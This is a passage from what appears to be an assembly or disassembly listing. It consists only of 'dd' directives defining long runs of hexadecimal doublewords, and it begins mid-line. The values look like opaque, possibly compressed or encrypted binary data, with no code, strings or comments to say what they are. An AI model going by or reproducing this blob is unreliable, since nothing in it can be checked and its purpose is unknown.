0C6D132E9h dd 0CC3D03F0h, 8FAF3057h, 40A2FB91h, 0CFA954F1h, 29548CF2h dd 0B30031A0h, 0E03A562Eh, 5C53309Fh, 0A7004E64h, 0AB1F8F57h dd 9A30160Ah, 6AB1312Dh, 0B85360AFh, 470E5714h, 6B64CE00h dd 56309CE1h, 8DF86Fh, 3DC7690Dh, 29988BDAh, 0D2E42C03h dd 0D02ED153h, 9DF990h, 0F33AC34Ah, 3600897h, 66A7EE00h dd 546B8D7Ch, 6ACF0015h, 974CD74Dh, 0E03CCD37h, 0A2650022h dd 0B84B38EDh, 0BD010080h, 0A72E82BCh, 0B006074h, 5820E2F3h dd 901F5Ah, 0F0E80C45h, 9C68C72h, 38B83BE8h, 3821A21Eh dd 0A0871300h, 0C02343A7h, 506140A0h, 0CC003089h, 0DE260FC7h dd 496B98h, 9BC62454h, 2D392AD2h, 0DB915800h, 648B3EDCh dd 2FCE4C2Ch, 14B281Fh, 0CB9931F6h, 34F0504Fh, 7D76A438h dd 0AFEF3D06h, 60086DD2h, 3E0E2129h, 0D55E9CA4h, 0F6687C1h dd 0F7A0489Ch, 6A74C320h, 0CC2C63E8h, 1F5DA10h, 1AE5992Ch dd 0D0238075h, 0E9A03132h, 11C0E4C8h, 528F3CFBh, 2F1703CEh dd 306F662Eh, 210007A3h, 0D38D6428h, 0E8F511h, 0E7E2A919h dd 5C305049h, 0D486A1DCh, 0A68883Ah, 2D7602E0h, 83961174h dd 0B27EA439h, 10643165h, 0A44313h, 0F7673971h, 883709A1h dd 0C0D92E00h, 3359A3ADh, 421E1E9Dh, 4E4D0102h, 8098C33Bh dd 0F173DBA8h, 32E40EEh, 16CF0DD2h, 77A30C0Fh, 0E9002173h dd 2E624EF1h, 1B5B9D3Ah, 48AC84CCh, 3DEE5810h, 0C68E3000h dd 1562DBDFh, 0C003C4CEh, 0D8786A8Ch, 0ED98A096h, 0F2CF1D2Fh dd 59C1471Eh, 446060ECh, 9201B10Fh, 56B743AFh, 0C9D1BD15h dd 782DE0h, 6B444B06h, 834CB8A5h, 0B23208C6h, 0A00A0020h dd 44BB1506h, 7F033831h, 76D871A7h, 0C1FBCD05h, 91BA9951h dd 76805858h, 5B445106h, 2131608Ch, 16069E08h, 6C90F000h dd 752720FDh, 44C0098h, 0B15781CFh, 15303902h, 0D04D600Bh dd 5CC1C8C9h, 8506C1CFh, 344A7B44h, 6A20C00h, 1F4824D3h dd 56541703h, 804E099Dh, 1BD2AB7h, 86A31C9Eh, 31CE0C2Eh dd 0CD389FBEh, 950EF5C7h, 6893CC3h, 4528CA18h, 0A23C90B6h dd 75080A1Ah, 534480A6h, 86065067h, 448C7344h, 6F60B30h dd 15373Bh, 0D39676CCh, 1B3680ECh, 80AD95AAh, 0CBAE6098h dd 0F6E0AB0Fh, 3C8BA037h, 1EE53261h, 9CA67FD4h, 90AFA5Dh dd 3144B531h, 80C28598h, 0EBFEF7A9h, 455FD0h, 75FAF6D4h dd 1FA637C3h, 23C3D0Ah, 1400984Dh, 0C6EA8A8Bh, 534B1C25h dd 0D112C095h, 240BED27h, 92E13101h, 4DC8A105h, 964EB02Fh dd 54D16A00h, 0D34B4F28h, 5A340F62h, 0E84505F5h, 0DE00BF1Dh dd 4DF7CBFh, 0C66777D9h, 20521608h, 87E20B3Ch, 46B48D99h dd 0D1CAF7A0h, 3A4E00Ch, 9A5416E6h, 0A7B0EDEFh, 50E1D48h dd 0E06EABD4h, 0F4B76DCEh, 7048D94Dh, 6C42D032h, 811CF60h dd 1D48ABEh, 4FF281D5h, 0D1F1992Dh, 1B2197FCh, 88AAC100h dd 0ECDC0D2Ah, 0FF380117h, 4FDF4CB2h, 96D19158h, 0BB8FD480h dd 208CBF7Ch, 273C53EFh, 0D4C8BDCh, 0C59783F2h, 0EB48F834h dd 6E67DA2h, 0DAB0DF06h, 0FD035004h, 5841113Bh, 0A0E4D82Ah dd 0FBAE7412h, 449C2180h, 16E7A111h, 733B8606h, 0FF1A0DDh dd 0FC6672AEh, 0FB654460h, 1238B2EEh, 80DFBBF7h, 3E4C0D29h dd 18B3345Eh, 0D082BD6Ch, 0B700137Dh, 96240E09h, 0AD1714h dd 0D0CFFBA2h, 0A321D3EBh, 3006D100h, 6B82BB25h, 3C97012Dh dd 0F1C428C2h, 75A5C0DEh, 1FA6EE3Ah, 8507E91Bh, 0B200F58Ch dd 0EBB2949h, 0CAE04C5Eh, 4BA0CF6h, 0A633DB38h, 0D83040B2h dd 0EF80B90h, 2F570FB3h, 65A91898h, 48D9A830h, 9C444Ah dd 214D9D7Eh, 0B1B7A2FAh, 3BCCC200h, 83765456h, 1AB185Dh dd 599618E1h, 7C080578h, 80FD814Bh, 33A78EDAh, 8D0371CFh dd 837C22C5h, 0FA20EEF9h, 6767CC4h, 0D70B0CB3h, 5500E129h dd 0D3ECFE0Ah, 0FA9FAC69h, 8AB00331h, 3D0FB42Fh, 0D2DCE1DFh dd 29308130h, 787E862h, 0F714E70h, 3C0A83F3h, 0F1C98886h dd 6878DF00h, 0E5EAAFD7h, 1BBA00F9h, 928EE1F8h, 0D0035A21h dd 263EE73Bh, 0FE13B887h, 80D6000Bh, 5F31B381h, 12011909h dd 5A9001E0h, 2080E1E3h, 0C58BEE67h, 0D21E7EDAh, 90006B9h dd 91255E76h, 19550344h, 0C99AAA8Dh, 5400307Ch, 0B47AF4C1h dd 6007628Ah, 424C19E8h, 0B59845D9h, 1DC4E18h, 6754A0h dd 0EF91E125h, 0A4FD9B88h, 62061300h, 0E94D0DF3h, 0C6890046h dd 5F09B1C2h, 0E180831h, 9041DA56h, 0E8026B30h, 6C536840h dd 62B28D0Fh, 5ED5E118h, 21860550h, 398B610Eh, 99CABC0Ch dd 6FF078F7h, 268020E6h, 421FA32Ah, 85770D00h, 978F4E54h dd 0E6500036h, 1E32486h, 870FD47Eh, 6F5FD142h, 6089EFD0h dd 1A08C3C6h, 1467C8Dh, 0BF7DB04Fh, 0F0CF1960h, 4E392DF2h dd 0EFC7CD8h, 0CA325918h, 1F94B629h, 4C7DFEA1h, 0F43011C9h dd 5CA23118h, 3B0AE220h, 0C8EFE9Fh, 1158E6E4h, 1200F3C2h dd 0B59A3AA8h, 74E865B2h, 21C66FF2h, 0CF12FBE0h, 90005D3Fh dd 0DDFA406Dh, 0AEA03h, 3644BD21h, 1FF3451h, 69B27A30h dd 0E8009DEh, 485345F8h, 323B8143h, 2100CFB3h, 0C800E75h dd 79472701h, 45710317h, 0A9468ACBh, 0AE6E01Fh, 3B16F6C0h dd 0C17FA351h, 65CFE291h, 833AD1C2h, 6031379h, 3F280012h dd 76A41FBFh, 9E3C93AEh, 0DB1D00B2h, 0EC580425h, 799F0021h dd 50737ACBh, 38078FC5h, 0A1766389h, 9B3180AEh, 35D03Bh dd 5BC23A0Ah, 3C2C424Eh, 55CC4500h, 0DC06E0BFh, 9E651DAEh dd 7EE3C01Fh, 0C1B8255Ah, 7900B073h, 0B5D514D7h, 11BCAh dd 0FE55E13Eh, 0AB9CE5F8h, 16420416h, 433A9600h, 19FE333h dd 37723E50h, 0D0D28C79h, 47014CA9h, 1B788A04h, 5A200774h dd 2917E3Dh, 2BE39C7Ch, 0B862BAA9h, 0F51B3D40h, 51FB0400h dd 76836A9Fh, 7725000Ch, 7D58DECCh, 96013668h, 0F9D55330h dd 9984D4Bh, 2E0821C4h, 0AB779600h, 52C9851Eh, 4A4C00F8h dd 7FFB1038h, 560F147Bh, 0A0DEC87Dh, 20CA8930h, 123A0C2Bh dd 6D0842D8h, 391921C0h, 0EDBA89h, 0D5D26A86h, 0DCE6C38Bh dd 6E6B7903h, 3426957h, 90D85078h, 68316A98h, 7FFE4155h dd 2E3890D6h, 20441189h, 9E70883Bh, 0A4890F2Bh, 407799C0h dd 0E97F8047h, 0CA6D6E07h, 0CD95594h, 1BE6123h, 0F9438C2Eh dd 0D9146C11h, 9B089819h, 0F426D721h, 56ED00D0h, 8D3003C6h dd 0DE0D1F90h, 0C04199FFh, 0A052EFC8h, 252F8Ch, 103B21E0h dd 0C5338C1Eh, 730B9276h, 97B0D6h, 37F7634Bh, 0D5DB1E85h dd 0E7DD005Ch, 0B5E22D2Ah, 9C7D0E78h, 9B4C3C00h, 9698F153h dd 7E73004Ah, 0DADF7749h dd 0B207DB8Ch, 0DEA76D94h, 0EEFAA680h, 0E41F1D18h, 0C0321FB5h dd 390FC86Bh, 9701935Ah, 5B1A963h, 2194EF55h, 0C830FEDDh dd 0A7EB2E39h, 0E8DEAAA0h, 0AE5B6F00h, 40DB4FD8h, 5502011Eh dd 4A27181Dh, 8E4180B9h, 73BE9307h, 0E2F60C21h, 0DA08596Bh dd 0E3F521C0h, 0EEE0A593h, 0FB8601E9h, 1C906FACh, 0B0588C18h dd 429008h, 29747B9Dh, 0A5D53438h, 52615E07h, 2DC0F4C6h dd 226E888h, 1E336D6Ch, 90E0B466h, 64986117h, 0B7936700h dd 0D5A6EFDDh, 683F0E29h, 6D8087ECh, 0DF8CE1B5h, 0F4A72618h dd 76B6F29h, 6228EF2Ch, 90E0F36Ch, 1E3098E3h, 0DA7A20AAh dd 0E1A20F24h, 55205D76h, 74032ECh, 0D0A0AF78h, 15037330h dd 7271616Dh, 0DD60D0C3h, 68380111h, 0A65AE434h, 0C853866Ch dd 0D58ABFAh, 709A3286h, 96544318h, 5CC027F3h, 7700B374h dd 126AFFBh, 7CAADBDDh, 2F6C307Eh, 0A0992819h, 0C90E40h dd 0D91D41DDh, 7B1597C8h, 9FC4D501h, 287451FDh, 0C67E4h dd 4B37F252h, 0FC55CD19h, 2D6CC507h, 32A09EF0h, 3CB806h dd 187EC24Fh, 7C1C8D6Fh, 0E485610Eh, 0B7418678h, 76C73820h dd 0A200FD48h, 3FD1E8B4h, 2C3F44A7h, 0FC500137h, 2331DC5Fh dd 935EECh, 0B13C9EEFh, 68C48508h, 6F482263h, 2198F91Dh dd 33588BF4h, 6108C916h, 0D5D62100h, 4663715Dh, 0D3BD00DEh dd 758C3D90h, 5E75A80Fh, 5F9420EDh, 22B90C60h, 67C5E5E8h dd 0A72478B3h, 0C7AA1F9h, 80A13198h, 525CE759h, 956B15h dd 0CB329AFBh, 4EB4A172h, 74175A01h, 0A9878A85h, 4625D0h dd 9798D486h, 1D213F79h, 0F1F27200h, 0E6D72ABAh, 5C4F405Dh dd 97438400h, 0EB2916DAh, 269E3AC0h, 9B215730h, 750243A2h dd 0AC8D729Dh, 9F888034h, 0C1B8618Eh, 0F34550B0h, 1BC9EC6Dh dd 999096E8h, 0FE5BEF07h, 0A263833Fh, 73C0E42Ah, 0EC58BE34h dd 4BBD48A9h, 0ADB71603h, 75811E5Ah, 739EC074h, 6CB81B00h dd 977BDC60h, 8DF65C1Ah, 3DC84351h, 42510374h, 65612C4Fh dd 1F86E8D8h, 63389200h, 347D1095h, 20C42EEDh, 87571CDBh dd 7004708Bh, 9497FEBEh, 8387A807h, 60F03B69h, 1FFDA084h dd 791903C5h, 934F2A81h, 0C066ADF0h, 0D81FE5D6h, 0AB409FC2h dd 46D7B51h, 0EA1A00DBh, 0F544477Ch, 9573756Fh, 0D601A200h dd 0FA2EDA06h, 79813CAAh, 0CC40E000h, 5D5229BDh, 7070E5FCh dd 85A32700h, 3E13EE0Dh, 0AA3A004Fh, 0E10ED708h, 6FFE31E3h dd 70B8C501h, 0F02F79CDh, 7A6B6880h, 0D7FA3E0Bh, 3107407Ah dd 0C4E79188h, 8CE579B1h, 408F53C9h, 4FE0DB15h, 0C4E9810Ch dd 3300A07Ch, 52FF7A7Fh, 1D86D7F0h, 98EDB86Eh, 445CE86Dh dd 3E001376h, 0CFB7A73Bh, 0A051F5D8h, 6F4CB96h, 0D10DE57Ah dd 1300D04Dh, 74670FDBh, 0E78AD5h, 0EF02A53Fh, 7F83B8D7h dd 0FBCF501Eh, 0F0423AC0h, 7AE48FFh, 6535AFA7h, 0AB586017h dd 0A35F45Dh, 148081F1h, 0CF56EBE7h, 0B0BBD11h, 7DE84F81h dd 0EB7980CEh, 0B9011A8Eh, 0E92F006Ah, 0A37F47D9h, 4A01AEBCh dd 0B31C0CDBh, 36D8D209h, 597FCBh, 14AAAB07h, 0EBBB937Eh dd 0A600857Ch, 5B6C256Ah, 0EB8AEFCh, 0EAC567DAh, 551EA460h dd 860C3D9Ch, 480E546Bh, 0BCEE03C1h, 3948A65Ch, 0B97D5EC0h dd 0A45B9403h, 0FA78312Eh, 0AB928036h, 666EE9Ah, 0C4DDD9F9h dd 590030E8h, 20C37D4Bh, 7DA83402h, 72892807h, 524E3A30h dd 10571D98h, 0DC07734Ch, 0EBD68AF5h, 0D6C4B683h, 58C00D1h dd 0F7A8A3BDh, 69002C1Dh, 1D91A43h, 1DAE382h, 64F0AD5Fh dd 0EC880FA4h, 1D0089B8h, 0D0A73C50h, 18D878D2h, 99CFCD24h dd 3B0FF363h, 0AFBC9958h, 0A0832526h, 1F248848h, 3013B9h dd 857E1D49h, 0E1005304h, 766AD6EDh, 7B2BEFh, 4A901E65h dd 3630C53Eh, 0B4C72300h, 3367E5EDh, 0EE0800CBh, 9AA40CF7h dd 0B91A3C54h, 1511A87Dh, 138BC704h, 0FE07F4Bh, 0B3000E0Dh dd 0D8380937h, 3CBC2F3Eh, 9E00E9DCh, 0B5CE35B2h, 0C03B714h dd 3273F54Eh, 133AB87Ah, 912F502Eh, 3E080470h, 0C0FBB3C8h dd 0F5BD85F8h, 0DFBF3C1Ch, 0F6BB96C0h, 0AD250Dh, 842768A3h dd 75C065B9h, 0CF1FBD7Dh, 15800685h, 645B0713h, 974D00F4h dd 59B434CAh, 0F65855E7h, 7A9B0036h, 7B4B22C8h, 40AB3A88h dd 0EADDCB00h, 0D244FB97h, 80FF3439h, 8D62D14Ch, 1FBBB0h dd 0C20A91B9h, 67EE1B70h, 0CC8FAD00h, 6F6DB87Bh, 64EA602Bh dd 1643B30h, 13195701h, 9CCD2AC0h, 1D92C8E0h, 0CC7235A0h dd 0C75A3023h, 0CE13600h, 196A8DA9h, 89F70032h, 97FD4992h dd 0E7003E5Bh, 0A5502612h, 97D54h, 86C1BEE9h, 3A084166h dd 98726500h, 36C3D7C0h, 0AFEB39C2h, 0FB9C780Eh, 0C59D7D20h dd 0D0548FAh, 0A6BBE546h, 325EDC00h, 846ECDh, 239493ABh dd 0D415F2BAh, 118D7D30h, 6C8919h, 0E0AEEF1Fh, 8093CC05h dd 0C0FCA354h, 0B0493C00h, 0C3AAB32Fh, 62EC1B17h, 1DF07873h dd 0F01C030Eh, 6A9D8A69h, 394E7C83h, 0B5A78860h, 0EC8FE93h dd 8966EDD6h, 33496480h, 94316FF6h, 0F769818Fh, 19C71ECh dd 0A8EF3E24h, 0C80ECA3Fh, 2A18E310h, 0AF28981Bh, 0E21D00ABh dd 0CC19329Eh, 0D80F3D2Eh, 0BADC917h, 2CAF018Ah, 8FC0276h dd 0E973004Eh, 4A129CBDh, 6101AEE7h, 0F5ADB29Bh, 0B0707CB1h dd 97850036h, 0F7BBCBFh, 43B0A774h, 9CA0D63Eh, 600FD258h dd 1C68A415h, 0BD377580h, 7BA6001Eh, 0AA4A6F2Dh, 0B400325Ah dd 0E255BA0Fh, 2A8D31h, 0B09F2C97h, 33CF5C30h, 39C91F0Fh dd 9AA5870Ah, 249540E0h, 26876F5h, 1E23C86Bh, 0BC807E83h dd 0B1E0A8CBh, 0D317504h, 7090EAB2h, 39E18060h, 748F204Ah dd 0A1E39D10h, 46B09676h, 21005844h, 78FA4C4Eh, 9B2B5Ch dd 0FF721170h, 0B23DD6CFh, 0E80D0B28h, 8102DFF7h, 5535B1ADh dd 62B0A01Eh, 0D336CBh, 3FBDE705h, 0B847ACADh, 1CEE2E5Ch dd 0C4C0E5F2h, 4989EE24h, 0B071005Ch, 0C034E3A1h, 0C212A4B1h dd 0C009E7Ah, 41E0FD2Fh, 0F958C097h, 5FF74CE6h, 0AF2AC890h dd 0D900FCC4h, 367FA22h, 2655784Ah, 304E63h, 6040E90Ch dd 480364D0h, 0B57AC36Ah, 0FFCD088h, 0D3DD01E7h, 902FEBE4h dd 520470D7h, 0BE3E1800h, 8925389Dh, 78E30014h, 0BABC53E2h dd 0F871695Dh, 86B48h, 75CB723Ch, 0CAD74Eh, 0ECC1FEAAh dd 114B135Bh, 69280900h, 0E7EB943Ch, 0E45E009Dh, 0B0FC44E5h dd 0ED030537h, 0DEC542E9h, 0C016E8D2h, 1BB8008Ah, 6F84AF08h dd 0B503221Ah, 0B04DDCEh, 0F3A0C8FFh, 0EA6400DCh, 49297A94h dd 0A600929Dh, 0E518FBCCh, 7061511Eh, 0D1620504h, 6F5740h dd 0DCC4CA9h, 4900A61Bh, 92DC5F8Dh, 4628ECAh, 1ABD3064h dd 40B5C528h, 3C27B5D4h, 0F1F822ADh, 780030F0h, 0E4686702h dd 0BEB601h, 22A9F4ACh, 0B1E50D38h, 0C383E707h, 72D3AA71h dd 0E4F2E0B9h, 189504BDh, 801ED21Ah, 0CE23483Ch, 0EC012F07h dd 92A08685h, 7C0B1981h, 0C52600C4h, 0BDF4391Bh, 6D005980h dd 0A7E7CD1h, 3CC3589Dh, 13008EA5h, 0A0020151h, 0F100AAF8h dd 48617A3Dh, 94103Ah, 13F95F30h, 0E22FC4BCh, 6BEBB900h dd 0A40E3C91h, 0E5DF0036h, 585E1EFCh, 903CE6BEh, 8BCC80E7h dd 966910Ch, 0BC705077h, 988200ADh, 0D7D5D469h, 0BF002B92h dd 648D1B83h, 0A17F8A80h, 0C4241984h, 8E2B0279h, 0F6636888h dd 1C7BD660h, 18DF6906h, 0E8107338h, 60E818F3h, 8A374C09h dd 598D5100h, 0B4C6DA1Ah dd 282D00A9h, 0DC967919h, 29E2355Fh, 21395001h, 90B9CEE2h dd 9A782D4h, 0BDDE52D5h, 48A17C0Fh, 6426683Bh, 0C4EA01B0h dd 1F559538h, 0D64799D8h, 0F990C7BEh, 6ED4Fh, 525AB6CFh dd 3798CB11h, 0C10F2000h, 26A2079Eh, 577056h, 0AB46A070h dd 666E89D0h, 506C0A00h, 54A6B75h, 21D667D7h, 94C910C6h dd 2E016AEFh, 3AD48D01h, 0EC20C7EBh, 509E003Dh, 0B74AF67Eh dd 9C009FD9h, 0A24E54D3h, 820646h, 0DCF5C540h, 0C056F07Bh dd 0F90EED7Ch, 0C070AEB1h, 0A32390FAh, 5B111FA6h, 41555FB6h dd 0BC2A4DDAh, 8B0ED821h, 0F2F33900h, 72CEEA58h, 9720006Ah dd 0C545C8FCh, 6B00D88Ch, 1A2D333Ch, 84B129h, 54CE0A12h dd 2AC52E24h, 0EA3D6276h, 0A6FF3C9Bh, 0B3876027h, 0C950122Fh dd 7B35BE18h, 0FFB80032h, 0FE90CC8Eh, 9B0392F4h, 0E0A7535Bh dd 16DEB8A1h, 51E41C5Fh, 0A3D7C166h, 400C31AAh, 37D12D3Ch dd 0C1DD4800h, 7D153A51h, 7CCC034Fh, 0F2324788h, 13943788h dd 0C20060FAh, 6A4CEA42h, 2EDB76Ch, 2AFBEE81h, 8CC0205Ch dd 83986D8h, 834B0074h, 0BA7D7BC7h, 0A752C0C8h, 0EAA2E236h dd 80859D38h, 0D8DA4743h, 5BB907h, 0EF337B67h, 6A13A589h dd 10D13900h, 0F2A902F7h, 65E72FFBh, 0E33C86F8h, 39A7001Ch dd 0F46EF752h, 0ABA4035Ch, 66A807C8h, 0DB613F9Ah, 0C276DE9Dh dd 0E4693B80h, 167EBC1Dh, 3D0451h, 362C6BBBh, 6E7AD89Bh dd 34D5CCF1h, 3CCB0A16h, 76356020h, 0BA187ACFh, 0ACE0D8h dd 0DA4D86C7h, 5B17722h, 4A74833Ah, 27292400h, 0EB017AFh dd 0A7236C66h, 0B51D3E80h, 6D30D109h, 879B28A5h, 0A3110386h dd 9E2B1351h, 5CA071A3h, 0AF5D3130h, 8423144Ch, 8BD5012Ch dd 0D326344Fh, 7201F0CFh, 0DB14015Ah, 0A46721F4h, 0EB00C666h dd 18B27498h, 717B371Dh, 5B0F4C95h, 55516E23h, 0F813068Ch dd 6198C4h, 9654BE97h, 3BC09DA6h, 2EC68217h, 404F4F00h dd 0A55BB7EBh, 0C8EF1064h, 2BAF022Dh, 34804C62h, 0E26DE3FBh dd 86E234F0h, 68104200h, 13C25419h, 0E3C00078h, 94ECF843h dd 363998C5h, 0AD861h, 6D5C778Ch, 74F5F039h, 1DAA0046h dd 515DF1D2h, 44001799h, 0E1926082h, 28DF72h, 555BE613h dd 4DB7111Ah, 6DD30900h, 2C315DF4h, 0DD51893h, 265CA866h dd 221B5307h, 9200E765h, 1F0580B7h, 2B4F3Fh, 0E25A8D06h dd 70005966h, 0CE30782Dh, 1A30A0Eh, 73A7F3Eh, 0E40BE3D2h dd 34B0DB05h, 67D82600h, 2E367BA3h, 0E15607D0h, 0E9CE387Ch dd 6380B98Fh, 3ABEEB6Bh, 0B5BB1D02h, 0A070FB0Ah, 0F72F9E94h dd 0F4D90915h, 601085F6h, 133F5D62h, 80463912h, 92AF937Dh dd 42A5B42h, 71B5A876h, 14B4D01Ch, 850F685Dh, 23A7177Eh dd 88EB9D0Eh, 146C897h, 7F6330C4h, 8EB2EF1Dh, 0C008F630h dd 589F674Ch, 92F7376h, 0FE9C752h, 0AC06B500h, 0DC0044B5h dd 0F018BD57h, 1689FDh, 931AB663h, 0A8502611h, 86285C00h dd 744939DAh, 0C0A10057h, 65E08C89h, 587F26C7h, 0D19B1E01h dd 162FD95Bh, 0ED75B18Bh, 1D4688A0h, 7700FBE0h, 0BF8E9205h dd 9E8B4Eh, 527A22B7h, 21792319h, 0A5ACC92Eh, 0F53D2F00h dd 947D8Ah, 0BE368F29h, 0FA58951Fh, 0B3B5DF07h, 7E40C75Ch dd 7409F108h, 1BE80079h, 0BD9C1C2Dh, 4FB84A0Ch, 0ACF80F74h dd 93338700h, 0D5B6AEBBh, 82C21FBFh, 767E01E5h, 0B8679847h dd 1268158h, 0D383A3F0h, 22BAF4h, 8F234B0Dh, 0B11F39BBh dd 3652B601h, 0BF992BC3h, 725178D0h, 677718F1h, 20A760D8h dd 0AC3F6E00h, 2930FE8Dh, 177181h, 8721B53Ch, 0D90CBCEAh dd 90094700h, 0EEACDFB1h, 2B1A1B65h, 0A5C1C8A9h, 7E088FABh dd 11181796h, 0B6C519h, 5891BD11h, 8FC3AD18h, 828EF61h dd 8EDCCE55h, 56C00C75h, 0A118D5E0h, 0C83E691Dh, 2EC59714h dd 4000F2D9h, 0AB2DCCDBh, 89B0C7h, 9626A30Eh, 0FD20237Dh dd 5DCD8000h, 4A1AC5A1h, 6D9105D1h, 21D28715h, 3F5724h dd 31CDD460h, 9EE6BF0Bh, 0E89086D7h, 98B9B394h, 2401005Fh dd 81ECD2D4h, 0CD003887h, 9805FCCCh, 0FD74C9C3h, 541F8C40h dd 0FDFE0CF0h, 67484B07h, 0E0A06613h, 2C262601h, 2BF0AD97h dd 5EAE286Fh, 655305DCh, 18D67D9h, 0A68918C0h, 87F050FFh dd 0CB03592Dh, 9E2C7CF6h, 6B72901Bh, 0F350001Ah, 66549529h dd 60C1B988h, 57F11CFDh, 3075B8D8h, 0C3C17496h, 0AF00BD41h dd 0A758CA31h, 749BB9F5h, 736EA93h, 668CE367h, 0B8EB93F1h dd 0AF2B85E0h, 8090C16Fh, 58DC6301h, 0EE945855h, 0E3063B02h dd 94AFC352h, 0EFFFC282h, 0F1CD8080h, 0F20764E6h, 6385A8BEh dd 0F488BD6h, 0CB832138h, 0D3792580h, 6F023C0Bh, 7C4A3AA0h dd 15DE67h, 0E7E1D908h, 0BF72A5ABh, 4AD49h, 30DE03CBh dd 7C4AB9AAh, 84A700CEh, 90251DF6h, 850FD6B2h, 0E13C3506h dd 0DFFD2350h, 0E6A4460h, 9D3AD15h, 7367E420h, 1EE45FDDh dd 0A62A5700h, 98FCFB38h, 0FD1C0D07h, 1B106290h, 0DE598104h dd 0EDF0FFEFh, 515C003Bh, 0B3338F4Fh, 811E688Ah, 31004140h dd 1C6DD8A9h, 6E89285Eh, 97C9Bh, 7BBBDC03h, 3692569Fh dd 0ACC1F403h, 0A35CC73Ah, 2841A095h, 0C59F3C71h, 43597880h dd 0EF198056h, 0FC92DE00h, 8F1C7D3Fh, 87C00062h, 6BE47660h dd 0C70090D2h, 44A37277h, 62A6D9h, 0EF8978F7h, 50FA0AF3h dd 0D91AF82Ch, 0C1259C00h, 0F672A1h, 0E97F9D09h, 58207A06h dd 83D98700h, 0BD4F235Eh, 5634014Ah, 458B30B8h, 0C1B5E055h dd 0EA1F4C00h, 492D3B99h, 507A0095h, 51B1C063h, 4C1CDCE8h dd 4881FABEh, 22ACAFA4h, 0F65FC0h, 358291A8h, 0E8BD4A9Ch dd 230015E8h, 3CA399ADh, 2D68FAh, 0ACE44569h, 15DF6328h dd 31565700h, 29E391B8h, 6F6A0FA5h, 3C5C705h, 0ADC8002Eh dd 4E0C6133h, 62C6F601h, 0CA910A3Eh, 1CB1A30h, 85A7D9D3h dd 40F49B73h, 92374380h, 0A080B503h, 0D0155CD1h, 3CAEB3h dd 0D71FE926h, 51DCBFA1h, 40E74500h, 12BDAC81h, 0D5D107C1h dd 0A086064Bh, 219825AAh, 332419FCh, 578010C6h, 0BC20BAE4h dd 58890052h, 530D8A29h, 1C75E1ADh, 4F909100h, 46A4B4BEh dd 0FED80070h, 36E143Fh, 400D008h, 42EEE59Bh, 1A396FAh dd 0B8A7F293h, 202D5877h, 0A27AAE2Eh, 875CF50Ah, 0E2008031h dd 451561CCh, 1736000Ch, 0EC401F03h, 0F5006424h, 0A9D52296h dd 0AAF8ACDh, 3C95EEE1h, 0DAC60084h, 0D575D3DEh, 2ED21403h dd 0F05CDD65h, 688C960h, 121574EFh, 13001931h, 0E18E853h dd 394D56h, 8BD9B90Bh, 0CA454B46h, 0A300337Eh, 597AADD0h dd 0CDBB65h, 0A0B349FDh, 26EC04FEh, 3EB1C40Fh, 9F8220E3h dd 37447Fh, 0DFDE197Dh, 2D26F7C9h, 381E901h, 2F93D10Dh dd 0FD607DF5h, 0BB0F1E1Eh, 0FC154786h, 0EF82506Ah, 560BE713h dd 80144FCEh, 845EE04Ch, 1D270054h, 664DEF55h, 0F600CEC5h dd 0D3FC4E67h, 0B52091h, 0A61E13BDh, 0EF508B8Ah, 0AF73CC01h dd 1FF4454Ah, 9038B0E3h, 0A4090F8Fh, 87432FE6h, 0E2E87371h dd 0DF0053FEh, 5110B8C5h, 5D2519h, 0AFC60221h, 3AD3FB8Dh dd 0A91BB0A0h, 7ACF6F01h, 0BFF78C33h, 0BD7BECh, 9FDF62EFh dd 0FF8541C4h, 790EAF01h, 0FE1B503Fh, 1C452420h, 0C0A36FE6h dd 563072BAh, 801413Ah, 0AB607163h, 0EC218A0Fh, 4DEDD00h dd 15EE0083h, 0CA9FDDCCh, 900AFCBh, 4049BB78h, 51F285h dd 59082295h, 5C4E8228h dd 86EB4801h, 94173CC9h, 0D3F0BEC9h, 2281C745h, 6C46C0D9h dd 0CBF20A67h, 638BD20h, 9C88F975h, 680CC880h, 0F802B7E8h dd 1D4D03C1h, 0B047CD93h, 0AACFC0B5h, 35008FF7h, 97295574h dd 21F91BEh, 0CF46413Dh, 4DE0EE17h, 3500DF84h, 9211ECCAh dd 873F9Ch, 0AF104B95h, 0E474F57Dh, 0A85BE839h, 0F900D41Ch dd 0D4F46557h, 1C035286h, 0EEA0EAh, 0E36CCF8Ah, 2300A4B1h dd 96F70FB5h, 262046h, 2AD581BCh, 4466DF88h, 0E5B4A91Fh dd 92134CC4h, 19F0ECC1h, 0ECA2C0h, 783525DAh, 0DC5B614Dh dd 4A62D800h, 6331AD11h, 0C11A0098h, 6435FB69h, 430020FAh dd 0B499FD6Eh, 5F408E8h, 67E2AEFh, 19286018h, 0D81DD90Ah dd 6DCF2B90h, 98B7C03Ah, 0E3BC40h, 744145B3h, 0CA9743CEh dd 75BB2C03h, 903CB4B7h, 0BCE037h, 0DA56286Ch, 0FFA86109h dd 0FC8DF430h, 0F9DCFBh, 5BBF95A9h, 0E70E6D9Dh, 47100706h dd 1E29AA4Dh, 40953132h, 0FC90C219h, 0A00094C6h, 0D1A3E0A8h dd 387BBAh, 0DBBD6D81h, 7FF95128h, 72FEEF00h, 16582CABh dd 3266002Dh, 0E7104D5Ch, 0BB002076h, 83B3FAB2h, 2633E6D8h dd 0B741E21h, 178510BAh, 19608058h, 6700EED0h, 831F3B34h dd 4892FBF9h, 14B0980Ah, 0EE00F459h, 6EBABEBCh, 3FEFD0FAh dd 21806C1Fh, 45997BCCh, 0A300EE23h, 59B326DAh, 4089BC5h dd 19DE16C7h, 738CD0E0h, 0F904215Ah, 0F501604Ch, 8B561AC0h dd 0AA7918ADh, 50829877h, 3F94FD00h, 0C50515CEh, 0BC810023h dd 48877CB9h, 4D00FE43h, 200B090Ah, 429227h, 51F603D3h dd 824E36Eh, 9C928BF4h, 0C3502DE6h, 0BA183588h, 21D93DA0h dd 0D7DD384Dh, 4490868Fh, 0F0E181C7h, 0F9183257h, 5826F601h dd 8DB60397h, 9802DCh, 610C7AAAh, 0E7E4A88Eh, 7D072000h dd 8D3EB96h, 0CA0B001Fh, 52B01092h, 691DE6A7h, 57C06150h dd 0E260D0B3h, 7C0D4CFAh, 0D2011Fh, 1DA881BFh, 2D00F39Dh dd 0B9FA3585h, 0BA3C0Ah, 17960844h, 0F88DC32Bh, 8718E000h dd 0EE2CD3D1h, 3B9200DDh, 1EC13480h, 8500A655h, 8EC61539h dd 58F77622h, 544C580Eh, 5FFE3C00h, 88FCB220h, 7D9F9D12h dd 0C0CC570Fh, 9BD1F38Dh, 4CC8BAACh, 41008C82h, 87CE86C1h dd 4800C010h, 6F7F9CD2h, 